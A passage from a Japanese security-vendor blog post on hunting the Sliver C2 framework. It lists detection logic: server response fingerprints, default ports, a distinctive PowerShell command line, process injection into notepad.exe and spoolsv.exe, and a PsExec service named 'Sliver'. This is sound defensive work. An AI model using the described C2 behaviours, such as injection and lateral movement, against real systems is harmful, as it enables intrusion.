Webパスとして”/”をリクエストすると、”404 Not Found “というお馴染みのメッセージが表示され、明確なインジケーターは確認できません。


▲Sliver C2サーバーのWebルートパスに関するリクエストへの応答

「間違った」リクエストを行うと、次の400エラーメッセージが表示されます。


▲不正な形式のリクエストに対する応答

これは、当該サーバーがSliver C2であることを立証するために利用できます。これは、JARMの検知ロジックと組み合わせて使用する必要があります。

●検知ロジック
JARMの検知ロジックを検知、および不正な形式のリクエストに対して次のような応答を返すTLSサービスに接続するプロセスである

  • “HTTP/1.1 400 Bad Request
  • Content-Type: text/plain; charset=utf-8
  • Connection: close“
  • Wireguardサーバーリスナー

デフォルトでは、Wireguard VPN サーバー(すなわちSliver C2のwireguardリスナー)は、UDPポート51820番を使用しています。これはFalse Positiveの検知の可能性があるため、他の調査結果と相互に関連付ける必要があります。

●検知ロジック
UDPポート51820番をリスニングしているパブリックIPアドレスである

■Sliver C2インプラントのハンティング
Sliver C2は検知に役立つ数多くのユニークな振る舞いを行います下図では、調査を通して特定できた検知手法をすべて列挙しました。


次の章では、各セクションごとに、個々の検知手法について説明します。お客様の環境でお使いのセキュリティ検知ツール内で、これらの検知手法を利用することで、特定の環境で Sliver C2 が使用されているか、検知できるようになります。

●シェル機能:特定のPowershellコマンドラインを検知
先述の通り、Sliver C2は、特定のインプラントに対して Sliver C2 の’Shell’コマンドが実行されると、非常にユニークな方法でpowershell.exeプロセスを生成します。

Sliver C2の「シェル」機能の使用を検知するには、powershell.exeの子プロセスを生成しているプロセスの中で、子プロセスのコマンドラインに「-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8 」を含んでいるものを検索します。

次の検知ロジックは、このルールをまとめたものです。
●検知ロジック
プロセス名はpowershell.exeであり、コマンドラインに文字列 “-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8”を含む

●SliverのExecute-AssemblyまたはMigrate機能
Sliver C2のmigrateコマンドは、デフォルトで、新しく作成されたnotepad.exeプロセスにインプラントバイナリをインジェクトし、リモートスレッドを生成することにより、悪意あるコードを実行します。Event ID 8は、CreateRemoteThreadの検知に関連します。


▲notepad.exe内でのリモートスレッド作成のログ(Sysmonのイベントログでの表示)

●検知ロジック
CreateRemoteThread Windows APIにより、notepad.exeという名の別のプロセス内部でコードを実行する

●Sliver GetSystemの検知
Sliver C2のgetsystemコマンドを管理パネルから実行した場合、現在のインプラントをホスティングしているプロセスが、spoolsv.exeプロセスに対して自らをシステマティックにインジェクトすることが確認されました。
これにより、任意のプロセスからspoolsv.exeにインジェクトされたスレッド(CreateRemoteThread)がホスティングされます。

●検知ロジック
CreateRemoteThread Windows APIにより、spoolsv.exeという名の別のプロセス内部でコードを実行する

●PsExec機能の検知
Sliver C2に内蔵のPsExecコマンドは、水平展開を実施するために使用されますが、このコマンドはリモート端末上にデフォルト名 “Sliver” でサービスを作成します。


▲”Sliver “という名前を持つサービスを作成

●検知ロジック
プロセスが“Sliver”という名前を含むリモートWindowsサービスを作成する
Sliver C2のペイロードがC:\Windows\Tempに配信される
カスタマイズされていない場合、Sliver C2は、C:\Windows\Tempディレクトリにそのペイロードをリモート配信します。

これはFalse Positive検知につながる可能性がありますが、このフォルダに保存されているイメージファイルの中で疑わしいプロセスやインジェクトされたプロセスを検索することで、Sliver C2の利用を特定できます。

●検知ロジック
プロセスがC:\Windows\Tempディレクトリ内に実行ファイルやスクリプトを生成する
または
プロセスがC:\Windows\Tempディレクトリ内にあるイメージファイルから生成される

●特定のネットワークポート通信
Sliver C2サーバーは、特に指示がない限り、次のようなデフォルトのポートでリスニングを行います。

  • TCPポート8888番:mTLSサービス用
  • UDPポート51820番:Wireguardサービス用
  • TCPポート443番:HTTPS サービス用

ポート443番での通信は、一般的すぎて検知には使えません。ただし、TCPポート8888番やUDPポート51820番での通信は検知に使える可能性があります。
また、「接続を開始したプロセスが疑わしい(ランダムな署名されていない実行ファイルである)」、または「プロセスインジェクションの結果、生成されたものである」という基準を追加することも可能です(GetSystem または Migrate 機能を参照)。

●TCPポート8888番での通信
mTLS接続は、デフォルトで、TCPポート8888番を使って行われます。上述したように、これを利用して検知ロジックを作成できます。

●検知ロジック
プロセスがTLS暗号化ネットワーク接続を含み、TCPポート8888番でTCPサービスを使用する

●UDPポート51820番での通信
Wireguard VPNのデフォルトポートはUDP51820番であり、この情報を利用することでSliver C2インプラントの通信を検知できます。

●検知ロジック
プロセスがネットワーク接続を含み、TCPポート51820番でUDPサービスを使用する 

サイバーリーズンによる推奨事項

Sliver C2攻撃を効率的に検知するために、サイバーリーズンでは次のことを推奨しています。

  • Cybereason NGAVでシグネチャモードと人工知能(AI)モードの両方を有効にし、両機能の検知モードと実行防止モードを選択すること。
  • センサーポリシーで、振る舞いベースの実行防止に移動し、振る舞いベースの実行防止および亜種実行防止を「実行防止」に設定すること。(訳註:バージョン21.2より後のバージョンでは「振る舞いベースの実行保護」は「振る舞いベースの実行防止」に、「バイナリ類似性分析 (BSA) インメモリ保護」は「VPP:亜種実行防止」にそれぞれ名称変更されました。)
  • 電子メールやWebブラウジングなどを使って、外部から取得したファイルの取り扱いには十分注意すること。

【調査結果資料】セキュリティ対策に関する調査結果レポート(2023年1月実施)

サイバーセキュリティ担当者を対象に、製品・体制・人材など各社が取り組んでいるセキュリティ対策の状況の実態を調査するため、2023年1⽉に「セキュリティ対策に関するアンケート」を実施しました。

他社がどういった対応をしてるかを把握していただき、今後のセキュリティ対策の強化に役立てていただくため、調査結果を資料にまとめました。ぜひご活用ください。
https://www.cybereason.co.jp/product-documents/survey-report/10075/